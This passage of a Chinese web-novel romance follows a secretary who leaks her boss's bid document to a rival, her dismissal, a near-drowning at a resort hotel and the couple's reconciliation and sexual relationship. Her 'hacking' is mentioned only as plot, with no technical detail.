霍时序给裴啸打来了电话,“什么情况?程节那边,提前将竞标书的内容公开了?你知道这事吗?”
“知道。”裴啸捏着眉心。
“我看他的竞标书,优势很大,你这边……”
“他的竞标书,是从裴氏偷走的,你说,我现在能怎么办?”裴啸千防万防,没有防住家贼,“我总不能拿一份一模一样的竞标书,去参与竞标吧?”
“什么?”霍时序震惊,这在商业上来说,是犯罪的行为,“谁这么大胆,把竞标书卖给了程节?这完全可以送进去蹲几年了。”
“我也不知道是谁,正在查。”裴啸有些泄了气,“现做竞标书已经来不及了,他逼裴氏出局,他做到了。”
“我C,这个程节这么阴的。”霍时序脏话骂得很难听,但没关系,他已经留了一手,“看来,我的planB计划,能用上了。”
“用你的?”裴啸是不太情愿的。
那是霍时序的心血。
他白白拿来用,占这么大的便宜,将来怎么还,“我可还不起,算了,就当我倒霉吧。”
“你别这说个,现在只有我能救你,我就有一个小小的要求。”
裴啸:……没憋好屁。
“你最好别提要求。”
“这可是几十亿的生意,提个小小的要求,你看你,真小气。”霍时序没等裴啸同意,就自顾地说起来,“以后生了女儿,嫁我儿子,怎么样?”
“我现在连婚还没结呢,你老惦记着我女儿干什么?”裴啸头大。
“我不管,反正,你家女儿必需嫁我们家儿子,就这么说定了,一会儿我让江淮亲自跑一趟,将计划书给你送过去,我们XY集团退出竞标,你呢,好好的准备明天的竞标。”
裴啸刚想拒绝。
霍时序已经挂断了手机。
裴啸:……合着,他把自己的闺女给卖了?
啊呸。
婚这辈子还不知道,结不结的,女儿?
很快。
江淮送来了计划书。
计划书做得很完善,但要转化成裴氏的风格。
大家加班加点,将计划书进行修改,润色,再调整。
此时。
严特助满脸凝重的来到了,裴啸的工作室。
“裴总,咱们竞标的团队中,没有查到嫌疑人,倒是……查到了另外的人。”
裴啸凝眉,“谁?”
严特助,将一段监控视频,递给裴啸看,“是……安秘书。”
视频里。
安糖糖对着竞标书,一页一页地拍,拍得很仔细。
她是与竞标无关的人员。
但她与程节有关。
裴啸瞬间明白了,他面色没变,心里却翻起巨浪。
许久,他才抬了抬手指,“我知道了,下去吧。”
“是。”
办公室里很安静。
裴啸低头点了根烟。
眼眸深邃地望着外面烟雨蒙蒙的天气。
又下雨了。
这雨没完没了的,大概是觉得他这个人挺可笑的吧。
每次他想要动情的时候,就会看清人的本性。
人的本性,是恶的吗?
安糖糖哪里喜欢他,哪是爱他,她更喜欢的是自己的未来,和程节。
小丫头,挺卖力的。
他嘲弄地笑着自己。
指尖的烟,递到唇上,慢慢地吸着。
青白的烟雾后,是看不清的双眼,和猜不透的情绪。
竞标会如期。
程节占了先机。
尽管裴氏用了霍时序的计划书,仍然在一些方面有劣势。
原本计划全部拿到的项目,被程节抢去了一半。
谈不上输,也没有赢。
竞标会结束后,程节走过来,说了一些恭贺的话,“没想到裴总这半路出家,比我这个干了半辈子的,都厉害,恭喜恭喜啊。”
“我哪里比得上程先生。”裴啸淡冷的唇,扬起一抹淬了冰的弧度,“我裴某人,可不会耍阴谋诡计。”
程节笑笑。
拍了拍裴啸的胳膊,转身离去。
裴氏的这个项目,拿得憋屈。
裴敬之大发雷霆。
在董事会上,将裴啸骂了个狗血淋头。
那些元老们为裴啸说了一些好话,也确定了他成为董事局副主席的事情。
裴啸并不开心。
被背叛的痛还在胸口,一直压得他很难受。
“我听说,泄露咱们竞标书的是你的秘书,那个安糖糖?”东靖川提醒裴啸,“这种人,不能姑息,要么报警,要么就……”
“我自会处理,不劳你费心。”裴啸冷声打断。
东靖川耸耸眉梢,“行吧。”
安糖糖心虚,请了病假。
隔了很多天,才来上班。
一进公司,就感觉很多异样的眼睛在盯着她看。
她指尖发凉,抓紧包带,准备往裴啸办公室走的时候,被严特助叫住了,“安秘书。”
“严特助,你,你叫我啊?”
“你去趟人事部吧,去办一下手续。”
安糖糖心脏一攥,“办手续?什么意思?”
“你被公司辞退了。”严特助直白地说,“出卖公司机密文件,裴总也只是开除了你,你应该庆幸,按理说,这个涉及商业机密,是要报警处理的,做牢是肯定的了。”
第323章 她背刺了他
安糖糖吓得腿下一软。
程节没有跟她讲这些。
“我,我,严特助,我可以见裴总一面吗?我想当面跟他解释一下。”
“裴总去度假了,你还是先去人事部办理一下离职手续吧。”
严特助丢下一句话后。
就离开了。
安糖糖被裴啸辞退了,没有在业内通报,给她留了脸面。
她惭愧坏了。
想给裴啸打个电话,解释一下。
打过去时,发现自己进了他的黑名单。
不仅如此。
她所有的联系方式,都无法联系到裴啸。
他已经彻底地将她,踢出他的世界。
她哭了。
很委屈又觉得自己活该。
背叛这事,她都能做得出来,还口口声声地说喜欢他,爱他。
这是喜欢他爱他吗?
根本就不是。
红着眼走出公司大楼。
程节在车边站着等她,似乎早已经预知了,她这次的命运。
“别难过了,如果想工作,就来青峰吧。”他想拥抱她一下,被安糖糖推开了,“我做了一件错事,我不应该这样做的,我伤害了他,我太坏了,如果他像我一样的坏,我现在不是在你的面前,而是在监牢里。”
安糖糖看着程节。
他远没有看起来,那样的温润和善良,“你明知道,这样的行为,是犯法的,为什么还要让我去做?程先生完全是站在自己的角度,自己的利益,来做事,根本没有考虑过我,对吗?”
“我怎么会让你去做牢呢?这件事情没有那么严重,就算他们抓到了你偷标书的证据,他们根本就没有证据,证明那标书就给我了呀,证据链是断的,你别想多了。”
“你摘得还挺干净。”安糖糖是年纪小,但也不是傻子,这次,她看透了程节的虚伪,“程先生把利用人这一招,演绎得淋漓尽致。”
“糖糖,人活在这个世上,谁还不是为自己活。”程节握着安糖糖的肩,“你帮我拿到标书,我也会帮你拿回你母亲留给你的公司,我并没有占你半点便宜,你没有错,我也没有错,不要自责也不要去怪别人,好吗?”
安糖糖摇着头。
她想拿回母亲的公司,可以选择别的方法,她却单单选择了,伤害裴啸的方法,她真的蠢极了。
“不是这样的,根本不是这样的。”
“安糖糖,你冷静一点。”程节不希望自己的未婚妻,是如此的沉不住气,“他不喜欢你,就算你不拿走标书,他还是不喜欢你,他对你没有任何的感情,他这辈子都不会喜欢上你的,知道为什么吗?”
安糖糖知道也不知道。
但她不相信程节知道。
“你知道?”她笑了,是啊,程节也是男人,他自然是懂男人的心理的,“那你说,他为什么不会喜欢我?”
“三十岁的男人,太清楚自己想要什么,成熟的男人,不会把爱情放在第一位,他看重的利益,是你给他能带来什么,糖糖,你给他带不去什么的,所以他一旦发现你背叛,就会跟你切断一切的联系,而你这辈子,永远不可能走进他的心里。”
“糖糖,裴啸是个男人,他心里没有那么多的情爱,如果他有,他早就娶了你了,你只有跟着我,才会幸福,糖糖,我们是一家人,你根本不必在意他的感受。”
安糖糖依然摇头。
不,她怎么会不在意他的感受呢。
他一定是难过的。
她背刺了他。
无论他原不原谅她,她都要当面向他说句对不起。
可她现在,连他去了哪儿,都不知道。
“程节,我想回家了。”
“好,我送你回去。”
程节将安糖糖送回了家,又说了一些安慰她的话,并答应道,“我正在跟进怡美股份的事情,到时我会把拿下的股份全部转给你,**公司就会重新回到你的手上,你放心糖糖,我答应你的,一定会做到。”
安糖糖黯然地点了点头。
失魂落魄地往里走。
程节咬了咬牙根。
丢了根雪茄到嘴上衔着。
他不爱安糖糖,也不嫉妒她爱裴啸这件事情,他只是觉得自己的脸面和底线被践踏。
他不喜欢这种被挑衅的感觉。
安糖糖他一定会娶。
婚礼,他也一定会邀请裴啸。
……
回家后的安糖糖,尝试着联系裴啸。
所有的联系方式,都失灵了。
她没办法,只好拿出尘封以久的电脑,动用自己的专业知识,查找裴啸的去处。
找一个人,对于安糖糖来说,是轻而易举的事情。
但是找到他在哪儿,她就能见到他吗?
看着电脑上那个位置,她指尖冰凉。
不管如何。
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>她得去找他。
安糖糖订了当晚的机票,飞去了某个海国的一个小岛。
这里度假的圣地。
相较于江城的冰天雪地来说,这里温暖如春,艳阳高照,海边的比基尼是一道美丽的风景线。
安糖糖订了裴啸同一个酒店。
特意选了,他隔壁的房间。
她在房间里躲了一下午,直到裴啸回来,她才沉淀好自己的心情,去敲了他的门。
裴啸没有防备。
但看到安糖糖,眼底还是升起了一抹薄凉和厌恶。
“裴啸哥哥,我过来是……”
安糖糖的话没有说完,门就在她面前重重地关上。
她被拒之门外了。
她摸了摸鼻尖,委屈的眼泪在打着转,“裴啸哥哥,对不起,真的对不起,我……有苦衷的,你可不可以原谅我啊,我真的知道错了。”
裴啸毫不理会门外的哭喊。
他拿了浴袍,走进浴室,花洒水下的声音,很快掩盖了外面的聒噪。
安糖糖回房间,拿了一块电子设备。
然后来到裴啸的房门前,对着刷卡的地方,一通操作,门就开了。
没办法。
她这个顶级黑客,会的过于多。
浴室里,裴啸在洗澡。
安糖糖站在门外,将自己的衣服全部脱下,推开门走了进去。
她在裴啸还没有反应过来的时候,就搂上他的脖子,跟他接吻。
滚热的水珠,落到她的肌肤上,激起一层浅浅的汗**。
裴啸条件反射般地推开她,拧眉,“你怎么进来的?”
“我想进来,自然就进来了,裴啸哥……”她想靠近他,却被推伸手隔出距离,“……安糖糖,你到底想干什么?你本事好大啊,能找到我,可以轻易进到我的房间,除了想偷情,就是偷东西,我还真是小瞧了你。”
“不是你想的那样的,真的不是。”她着急,想解释。
但裴啸根本没有兴趣听,“你是与不是,都与我没有关系,安糖糖,我们的关系已经结束了,我不会再给你机会,从背后捅我一刀。”
“我没想过要伤害你。”她着急解释,她想去抱他,被他抬手一推。
脚下全是水。
她又赤着脚。
人就那样赤条条地摔了下去。
后脑重重地磕在浴室的地板上。
她眼前一黑,晕了过去。
第324章 如何,我都不会信你
再醒来时。
她躺在裴啸的大床上,头还是有些痛,但已经好多。
裴啸一个人坐在天台上,手中握着一支燃了半的烟卷。
背影萧索。
看得她眼热,“裴啸……”
她小声唤他,生怕动静大了,惊扰到,“……对不起,你愿意听我解释吗?”
“不愿意。”他拒绝,抬手吸烟。
安糖糖眼眶泛起酸,“那你是不打算原谅我了,对吗?”
“你不值得被原谅。”他有些可笑的,看着面前的小女孩,“年纪不大,心眼不少,安糖糖,我到底是低估了你,你为了程节,挺能舍得出去的。”
“不是的,不是你想的那样的,我……我就是一时鬼迷心窍,我不应该那么自私的,我,我真的……对不起你,我知道错了。”
裴啸嗤笑。
满眼的嘲讽和心寒,“行了,别演戏了。”
安糖糖很难受。
她在裴啸这里,透支了本就不多的信任。
“那你要如何,才能信我?”
“如何,我都不会信你。”他吸着烟,目视着远方,“以后不要再出现在我的面前。”
她可以永远消失在他的面前,但她还是想把心里的话说一下,“我知道你不愿意听我的解释,既然以后我们再也不会见面,你就受累,听我多说几句。”
裴啸没有说话。
她黯淡垂眸,“偷标书这事,不管如何,都是我的错,可能是我太年轻太蠢太自私,受到了一些怂恿,就……不,不怪别人,就怪我自己,我太自以为是了,我没有想到,会是这样严重的后果,我为这事给你带来的损失,向你郑重道歉。”
她拿出一张银行走,轻轻地放到了裴啸身旁的玻璃茶几上。
“我听说这次裴氏损失了十几个亿的项目,真的很对不起,这卡里有我这几年攒的全部积蓄,三个亿,不算很多,也无法弥补你受过的伤害,但……还是希望能减少一些。”
“我其实追过来,不是骚扰你的,就是想跟你说声对不起,裴啸哥哥,我说喜欢你,爱你,不是假的,更不是为了达成目的牺牲,我跟你在一起,是真心的,是真的很开心,哪怕,哪怕我知道你不喜欢,我也愿意跟在你身边……”
安糖糖快把自己说哭了,很不争气地吸了吸鼻子,“……可能我们就是人们口中常说的,有缘无分吧,我们的爱并没有同时发生,挺遗憾的,但我喜欢过你,爱过你是不掺假的,这也是我这辈子最美好的回忆,我不后悔。”
“裴啸哥哥,过完年,我就要和程节结婚了,我知道你会祝福我的,我提前谢谢你喽。”她强颜欢笑,“那我就回江城了,那我们后会……无期。”
“站住。”裴啸指尖夹起她的银行卡,丢到了她的面前,“拿走你的东西,我嫌脏。”
安糖糖眼眶泛起红。
怔了许久,才缓缓地弯下身子,将扔到脚边的银行卡,捡了起来。
“哦。”
安糖糖离开了。
她回了自己的房间。
那些无法克制的伤痛和遗憾,让她失声痛哭。
她的第一份感情,就这样被自己作没有了。
她恨程节吗?
她没有理由恨任何人,如果说非要恨一个,那就是她自己。
“安糖糖,你真的是蠢到家了,但你也有苦衷的,不是吗?你要拿回母亲的公司,只有程节可以帮你,你也很无奈的不是吗?”
“但这不是伤害别人的理由啊,裴啸并没有做对不起你的事情,他,他凭什么为了你的事情要买单?他是受害者。”
“安糖糖你现在彻底失去了他了,以后你就是程节的妻子,你再也不能和裴啸有任何交集了,死了心吧。”
“可是真的好难过啊,安糖糖的心,真的好疼好疼。”
安糖糖自言自语。
她让酒店的前台,给她送来了几瓶红酒。
酒能解千愁。
醉了,心就不会难受了。
她喝得很尽兴。
以往喝一瓶红酒,她就有醉意了,今天她一口气喝了三瓶。
她有一种飘飘欲仙的感觉。
她一个人在房间里跳舞,唱歌,大哭,大笑。
最后将整个人泡进了浴缸里。
水温激发了体内的酒精,安糖糖的身子慢慢地滑落进了水中……
裴啸出门时。
刚好前台的服务员正在敲安糖糖的门。
“安小姐?”
“安小姐?”
她很焦急,通常问前台要过酒的客人,她们会格外地注意。
因为有很大一部分的人,是因为心情不好,买醉来的。
买醉的人,就跟危险划上了等号。
“安小姐,你还好吧?”前台服务生刷卡,但打不开门,“安小姐,你开开门,安小姐……”
“什么情况?”裴啸问。
服务生紧张无措地说,“安小姐叫了几瓶酒,又把门反锁了,我们怕她出危险,现在也不知道里面的情况,这可怎么办呢。”
“安小姐,你能听到声音吗?麻烦你回应一下。”
“安小姐……”
服务生害怕了,拿起手机准备报警。
裴啸眉心一紧,转身,抬腿用力踹门。
他力气大。
几脚下去,门被踹开。
房间里静悄悄的。
服务生四下里找安糖糖,“安小姐,安小姐……”
“啊……安、安小姐!”
服务生僵在浴室门口,瞳孔急剧收缩。
象牙白的浴缸里,年轻的女孩,无声无息地沉在水底。
黑色长发如海藻散开,唇边连细微气泡都没有。
“来人啊!快来人啊……救命啊!”服务生终于找回了自己的声音。
裴啸几乎是撞开了,挡在门前的服务生。
当他看清浴缸里的情形时,脸上的血色尽失。
“糖糖!”
他跨前一步,俯身,一把将柔软却已毫无生气的身体捞了出来。
怀里的人轻得可怕,那张总是对他嘻嘻哈哈的小脸,此刻白得透明,长睫紧闭,唇瓣泛着淡淡的青紫色。
裴啸颤着手指,探向她的鼻息。
没有。
一丝温热的气流都没有。
巨大的恐慌,像一只无形的手攥得他无法呼吸。
“糖糖……安糖糖!”他哑声唤她,得不到任何回应。
裴啸顾不得其他,单膝跪地将她平放在地,随即深吸一口气,俯身封住了她冰冷的唇,用力将空气渡进去。
一次,两次……
她的胸膛在他的吹拂和按压下,微弱的起伏,却依旧没有自主呼吸的迹象。
裴啸按压的动作近乎绝望。
“安糖糖,你喘气啊你,你别死……”
“安糖糖……”
“咳……呕……”
安糖糖猛地一颤,一口清水从唇边溢了出来。
紧接着是第二口,第三口……
水是吐出来了,呼吸却依旧停滞。
裴啸停下动作,再次伸手去探她的鼻息和颈侧的脉搏,指尖感受到的,仍旧是那片令人心沉的死寂。
服务生忙着报警和救护车。
裴啸并没有放弃抢救安糖糖的动作。
按压,人工呼吸。
重复,再重复。
他要救她,她不能死……
第325章 安糖糖,你给我醒过来
“安糖糖,你给我醒过来!”
裴啸低吼着,双手仍在徒劳地按压她冰冷的胸口。
指尖的寒意,扎进他的心脏。
从未有一刻,是这样的令他绝望。
“……你怎么这么拿自己的命不当回事?”裴啸的声音里带着未察觉的颤抖。
他想起她平日那张总是带笑,没心没肺,好像天塌下来都能当被子盖的脸。
那样的她,怎么会……
“你醒过来……”他的声音骤然低了下去,带着一种近乎哀求的沙哑,“你醒过来,我就原谅你,行吗?我说真的。”
如果……
如果他之前肯接受她那笨拙的道歉,
如果他没有被怒火冲昏头,没有对她说出那些刻薄的、伤她至深的话……
“我原谅你了,听见没有?安糖糖!”
然而,没人回应他。
救护人员赶到,将她从他身边移开,迅速接替了他的抢救工作,裴啸才像被抽空了所有力气,踉跄着退到一边。
他看着他们给她戴上氧气面罩,将她放在担架上抬走。
自始至终,她都没有一丝呼吸。
裴啸瘫坐在冰冷湿漉的地砖上,背靠着冰冷的浴缸壁,脑袋里一片空白……
如果他接受了道歉……
如果他没有说那些狠话……
每一个“如果”都像一把钝刀,在他的心上来回切割。
“她明明……”
明明不是会想不开的人啊
直到此刻,裴啸才后知后觉地意识到,也许他从未真正了解过她。
她只是一个二十出头的小姑娘,她的心脏也没有强大到,随时能修复如初。
浴室里还弥漫着柑橘香波的味道……
……
安糖糖被送去了医院抢救。
她的生命迹象微弱。
一直在昏迷。
裴啸成了她的临时监护人。
酒店将安糖糖的东西,送到了裴啸的面前,“裴先生,这是安小姐的东西,请您临时帮她保管一下。”
“给我吧。”
她的行李箱,和包包。
小女孩的包包上,挂着一些很可爱的玩偶。
一捏还有声音。
“糖糖喜欢裴啸哥哥,mua, mua。”
裴啸苦笑着,“有病。”
她的手机设置了密码。
但他还是,很轻易地就进入到了手机页面。
他不是非要窥探她的隐私。
只是小姑娘的手机,自己刷过程序,一打开就会识别人脸。
而他的脸,恰好就可以解锁。
随着手机屏幕亮中,屏幕中间跳一个卡通小人。
用安糖糖的形象做的。
“你是裴啸对吗?是我安糖糖最喜欢的男人,恭喜你,你可以查看糖糖的小手机呦,但是看到秘密后,不要说出去。”
裴啸不知道一个小丫头,能有多少秘密。
不过,他还是很有兴趣的,点开了她的记事本。
上面密密麻麻地记录了一些事情。
她的生日。
她这些年发生的事情。
她的心情。
还有最近的一些……
[程节答应帮我拿回我妈的公司,让我偷裴啸的竞标书做为交换,我知道这是不对的,但是,我一想到我外公死前,那遗憾的样子,我就没法不跟他达成协议。]
[我知道这事完成后,裴啸一定会恨我的,可我真的没办法,只有程节可以帮我,我想拿回母亲的公司,那是她留给我的唯一的念想。]
[从小我就没有妈妈,我不知道妈妈怀抱的温度,我也不知道有妈妈的孩子,会有多么的幸福,我喜欢裴啸,我想从他那里得到缺失的温暖,可他不喜欢我,甚至讨厌我,我挺气自己的,如果我年纪再长几岁,如果我可以再漂亮一点,他会不会多看我一眼。]
[竞标完成了,我害怕极了,我不敢去公司,我怕挨骂,我更怕裴啸不理我,我该怎么面对他?]
[我被开除了,裴啸拉黑了我,我好难过,我尝试着用各种方式联系他,可是……,我真的好恨我自己,我从来不知道,伤害别人的同时,会伤得自己这么重,我好后悔,我宁愿不要母亲的公司,也不能这样的伤害他,他不该为我的愿望买单的。]
[妈妈,保佑我吧,保佑我可以得到他的原谅,让我少活三十年都行,求你了妈妈。]
裴啸看不下去了。
小姑娘的心事很多,大多与他有关。
他一直认为,一个小姑娘,是不会喜欢他这种年纪的男人。
对安糖糖态度,他都是抗拒。
甚至,说得更渣一点,不拒绝,也不负责。
但她总是屁癫屁癫的,对他的热情一如既往。
或许,他应该对她改变一下看法了。
关上手机。
裴啸去了医院。
安糖糖情况有了好转,但求生的意愿也没有那么强烈。
在好与坏,生与死之间,不断地横跳。
“医生,她什么时候能醒?”
医生摇头,“不好说,我看她……好像不愿意醒过来,有一点沉溺在自己的梦中了,不知道是不是有什么,不想面对的事情。”
“要怎样把她叫醒?”
医生:“多说说话吧,她能听得见。”
裴啸这个人,不怎么爱说话。
想让他跟安糖糖不停的说话,比登天还难。
于是,他去买了本童话书。
有时间就给她读两个故事。
这种情况,一直持续了差不多有一周的时间,裴啸发现安糖糖醒了。
但她还在装睡。
他找来医生,让医生给她打针。
安糖糖害怕,不得已,只好醒过来。
“这一觉睡的真累啊。”她干巴巴的笑了笑,看向裴啸故作惊讶,“还以为后会无期了呢,没想到,我们又见面了,裴啸哥哥。”
裴啸看着她。
看她自我掩饰的故作轻松,心里有一些难过。
“感觉怎么样?”
“没事啊,我就是不小心溺水了。”她举着小手发誓,很认真的样子,“我真不是自杀,要自杀的话,我就割腕了,意外,纯属意外。”
“我是问你感觉怎么样,不是问你自杀还是意外。”他淡淡的,语调清冷。
安糖糖撇撇嘴,“没什么感觉,就是睡得腰酸腿疼的。”
“既然你也好了,我也该回江城了。”裴啸起身,安糖糖慌忙牵住了他的手,“我还没好利索呢,你就不能再陪我几天吗?”
要是回了江城。
他们就老死不相往来了。
再见一面都难。
她巴巴的,“可以吗?我可以出工钱,你要多少,你可以说个数。”
“怎么,跟了程节,变大款了?”
这话怼的安糖糖无言,“我,那程节也没有给过我钱花,何必说的那么难听。”
“我说话向来难听,不想听难听的话,我就回去了,你保重吧。”
裴啸转身要走。
安糖糖紧抓着他的手,不让,“难听就难听吧,只要你肯留下来。”
第326章 贪财好色的大黄丫头
裴啸看着她。
没同意,但也没有拒绝。
安糖糖很开心。
弯着眼睛,特别满足,“辛苦你喽。”
安糖糖很懂事。
知道自己做了错事,从不指使裴啸为她干这儿干那儿的。
反倒是她,一会儿跑出去买水果。
一会跑出去买甜点。
“呶,给你买的,尝尝,这是当地的特色哦。”安糖糖像只听话的小狗,只会吐舌头,从不咬人,“尝尝嘛。”
裴啸不是很爱吃甜的东西。
但这次,特别给面儿地尝了一小块,“还行。”
“是吧。”安糖糖坐在病床上,荡着两条小细腿,冲他挑眉,“我只会把好吃的东西分享给你,别人我可不会分享的哦。”
住院的日子,她是最快乐的时光。
因为裴啸不会冲她发脾气,而且,他会给她端水喝哎,还会给她买换洗的内衣裤,还会给她洗头发,他真的特别特别好。
他就像她的……妈妈。
“裴啸哥哥,我想求你件事情。”安糖糖得寸进尺地说。
裴啸淡看了她一眼,“什么事情?”
“你能不能原谅我?”她知道这个要求有些过分,但她不想跟他回江城变成陌生人,“我可以弥补的,只要我以后能帮得上你的地方,你尽管吩咐,我保证帮你把失去的,都找回来行吗?”
裴啸没说话。
安糖糖急了,紧紧地抓着他的胳膊,“我是顶级的黑客,真的,我以后能帮上你的地方,很多很多的,你就给我一个机会行吗?我特别需要。”
他抬眸。
看向她。
然后垂眸,避开她的眸光,“我考虑一下。”
安糖糖的心一下落回到了肚子里。
他说考虑一下,那就是他不再排斥她喽。
“谢谢你裴啸哥哥。”她在他脸上亲了一下。
亲完,她又怕他嫌弃,抽了纸巾,给他擦脸,“不好意思,太激动了。”
“安糖糖,我没有你想象的,那么嫌弃你。”他眼神好似与以前不太一样了。
安糖糖入神地望着他,他真的好好看,他长得好像……好像她老公。
看着安糖糖花痴的模样。
裴啸无语。
起身道,“我去帮你办出院手续。”
安糖糖这才清醒过来,吞咽了一口,美色可食,可食可食啊……
裴啸带安糖糖回了酒店,准备住一晚,订机票回江城。
结果。
当地来了台风。
回江城的行程被搁置,两个人困在了一间套房里,哪里也去不了。
“好可惜啊。”安糖糖趴在落地窗前,看着外面的**,“那个奶茶摊也飞上天了,还想着能叫一杯奶茶的外卖呢。”
裴啸坐在藤椅上,手中的笔记本上是他要处理的工作。
安糖糖不敢靠近。
怕他以为自己又要偷什么数据之类的。
她在沙发里窝下,远远的,就这么望着他工作的样子,脸上是愉悦的光泽。
都说男人工作起来,最帅。
真的没骗人,超帅,超超帅。
帅得她想去亲他一口。
“要喝咖啡吗?我可以给你冲一杯。”她发现房间里的咖啡机,“我手艺还不错哦,会做拉花。”
“可以。”他没抬头,但语气温和。
安糖糖起身走到咖啡机前,开始操作。
她有些笨手笨脚,但特别认真,拉花一次没做好,她就做第二次。
直到一杯完美的咖啡,送到裴啸的面前。
“你喝。”
裴啸端起咖啡轻啜,不吝啬地表扬,“不错。”
“那我以后,有没有机会,再给你做咖啡啊?”她托着腮,冲他眨眼睛。
裴啸的视线淡淡地扫过她的脸,“看你表现吧。”
“好的裴总。”
安糖糖很容易开心。
尤其是和裴啸呆在一起的时候,她就像盛开的红玫瑰,大胆热情不知疲倦。
“那你工作,我去洗澡了。”
安糖糖哼着歌,进了浴室。
结果进去没两分钟,就传来了尖叫声,“啊……”
裴啸迅速放下电脑,两步就冲了进去,“怎么了?”
安糖糖不知道该挡上面,还是挡下面。
心有余悸地喘息着,“刚刚,刚刚差一点摔倒,还好,我平衡力强,要不然,就摔了。”
“等一下。”
裴啸转身走出去,很快拿了一块防滑垫过来,递到了安糖糖的脚下,“踩着这个洗,就不会摔倒了。”
“那万一再摔了呢?”
她小手勾起他的尾指,“要不,你陪我
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一起洗,行吗?”
裴啸的眸底沉下。
他又不是清心寡欲的和尚。
“安糖糖,你别……”他的话没说完,唇就被女孩堵上了。
她不管了。
她就是贪财好色的大黄丫头。
她现在就是想……上了他。
顶喷的花洒将裴啸的衣服全部湿透。
安糖糖一边吻着他,一边解他的扣子,氤氲的水雾下是炙热的暧昧。
她抱着他的腰,咬着他的耳垂,“哥哥……”
“安糖糖,你真的很爱玩这种游戏……”他大手握着她的腰,将她抱起来,压在满是水珠的墙面上,“就这么喜欢跟我做?程节满足不了你?”
“我跟他没做过。”她搂紧了他的脖子,“我只有你一个男人,裴啸,我只要你,好不好?”
“要我什么?要跟我保持这种关系?”他捏着她的下巴,质问她。
安糖糖当然不想只保持这种关系。
她想要的很多。
可她不敢讲。
“你不喜欢这种关系吗?”
“这算什么关系?”他逼望着她的眼睛,“你告诉我,你喜欢什么样的关系?”
“只要是你,什么样的关系,我都接受。”安糖糖一下下的吻着他的唇,“裴啸,我不想嫁给程节,我想嫁给你,你可以娶我吗?我虽然年纪小,但我会是一个很好的妻子,你,可以娶,娶我吗?”
她战战兢兢地提了自己的要求。
裴啸没有给她答案。
只是吻她的力度加重了许多。
他抱着她,来到镜面前,抬手将水雾擦净,镜子里是两人清晰的身影。
他的大手紧紧地握着她的腰,“安糖糖,我离过婚,对婚姻没有信任感,我也不希望,我的婚姻一再解体,所以,我不会轻易地再进入到婚姻,你懂吗?”
安糖糖不懂。
离婚,不是因为两个人不合适吗?
她从未问过裴啸,他离婚的原因,“是她背叛了你,让你心有余悸吗?”
“不是。”
“既然不是,那就是她不适合你,裴啸,我爱你,我想做你的妻子,我只想做的你女人,爱我吧裴啸哥哥,我会是一个很好的妻子,我会为你生儿育女,我会孝顺公婆,为了你,任何困难都打不倒我的,好吗?”
第327章 抓出暧昧痕迹
她很渴望拥有自己的家。
可能是因为她从小没有感受过,家的温度。
裴啸没有给她答案。
其实她想到了。
无论他们做多少次亲密的事情,谈婚论嫁这事,都轮不到她头上。
“你是不是觉得我配不上你?”
“你觉得呢?”他反问着她,不知道她为什么总是这样的想法,“安糖糖,你还只是个小姑娘,谈嫁人太早了。”
“嫁给程节不早,嫁给你就太早了?”
裴啸:……
“你不想娶就说不想娶,什么叫太早了,我已经过了法定的结婚年龄了……”她有些失望,又很委屈,紧紧地抓着他的肩头,怎么也想不通,“……为什么你就是瞧不上我?为什么呀?我到底是哪里不好?裴啸,你为什么不能爱我?”
她哭了。
眼泪滴落在他的锁骨上。
他心里五味杂陈。
他不是瞧不上她,他是过不了自己这一关。
“别哭。”他抬手擦掉她的眼泪,“嫁给我,你会很辛苦,我是个婚姻中的失败者,我不会经营婚姻,你不怕吗?”
“你不怕,我就不怕,裴啸,我爱你,只要是你,我就能感受到幸福。”
她不止一次做过跟他,生活在一起的梦。
他去工作,她在家里洗手做羹汤,生两个小崽子,她会跟孩子们一起等他回家。
她想过很多温馨的事情。
只要他肯点头,她负责爱他,而他只需要……回家就好。
“答应我嘛,要不,先恋爱,好不好?等你觉得我合格了,可以做一个太太了,我们再结婚,好不好,好不好嘛。”
她吻着他,乞求着,期盼着。
裴啸握着她的腰,扯了过浴巾,将她包住,往外走,“做了我的女朋友,你跟程节怎么交代?嗯?”
“退婚,大不了赔他钱,我有三个亿。”
“舍得?”他笑着,“我可值不了这么多。”
在安糖糖的心里,裴啸是无价的。
她搂着他的脖子,跌进大床里,“裴啸哥哥,你值,你超值,为了你,我愿意做任何事情。”
“包括什么?”他望着她的眼睛问。
安糖糖没有任何思考的回答,“包括我的心,我的命,裴啸,我爱你,你懂爱是什么吗?就是你在我的心里,比我自己都重要。”
“你根本就不了解我,你只是身体上得到了满足,安糖糖,我不是什么好东西。”
安糖糖摇头,“不是的,就算你不能人道,我也爱你,我单单靠近你,就已经很温暖了,裴啸哥哥,你不懂爱,爱是无论你变成什么样子,我都会对你不离不弃的。”
“我们才认识多久?这话说得,自己信吗?”
裴啸摇头,反正他是不信。
安糖糖撅嘴。
看吧,男人就是这样的。
对什么东西,都保留着三分质疑,过于清醒,怎么恋爱呢?
“那要不要试试,看看我说的话,是不是真的?”
安糖糖的小模样,甚是娇俏。
爱情这种东西,不分年龄,只是很多男人过于现实,过于自我保护,会觉得自己一把年纪,被一个小姑娘耍了,很丢面子。
他们分不清真爱,假爱。
总是用试探的目光,寻找着走马观花似的……情。
安糖糖想让裴啸敞开心,接受她,“好不好嘛,就试一下,你又不会少块肉。”
“我考虑一下。”
安糖糖小脸又丧了,裴啸从来不给她肯定答案。
对她若即若离,对她忽远忽近。
“那你要考虑多久?”
“一分钟。”他笑了。
安糖糖蓦地瞪大了眸子,旋即化为激动,抱住了裴啸的腰,翻身坐到了他的身上,“你答应了?裴啸,你答应跟恋爱了是不是?”
他双肘撑着床面,好整以暇,又有一些坏笑的,将她赤着的身子打量着。
“看你表现喽。”
“我一定会好好表现。”
安糖糖捧着裴啸的脸,吻他的唇,他的眼睛,他的鼻尖,他的耳垂,他的喉结。
她笨拙地学着他的动作。
想带给他愉悦感。
裴啸笑她,“就这?”
“我……不会嘛,你教我。”安糖糖搂住男人的脖子,唇在他的薄唇上蹭着,“你经验丰富,我学得很快的。”
裴啸深呼吸。
翻身将她压下,呼吸变得沉重。
她这副迷离像要的样子,刺激了他的感官,似乎无法再克制,无法压抑身体里的那头困兽。
身体紧绷的厉害。
他吻她,力道很重。
窗外的暴风雨,混着二重奏,气息滚烫……
……
不再克制的男人,让安糖糖害怕又渴望。
她缠着他,要了一次又一次。
他的背上全是
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被她抓出的暧昧痕迹。
二人的呼吸纠缠在一起,疯狂接吻。
安糖糖满足的睡去。
外面电闪雷鸣,她搂着他的脖子,睡得很香。
裴啸拿了颗烟,递到唇上,火机凑近时,他又将烟卷拿了下来。
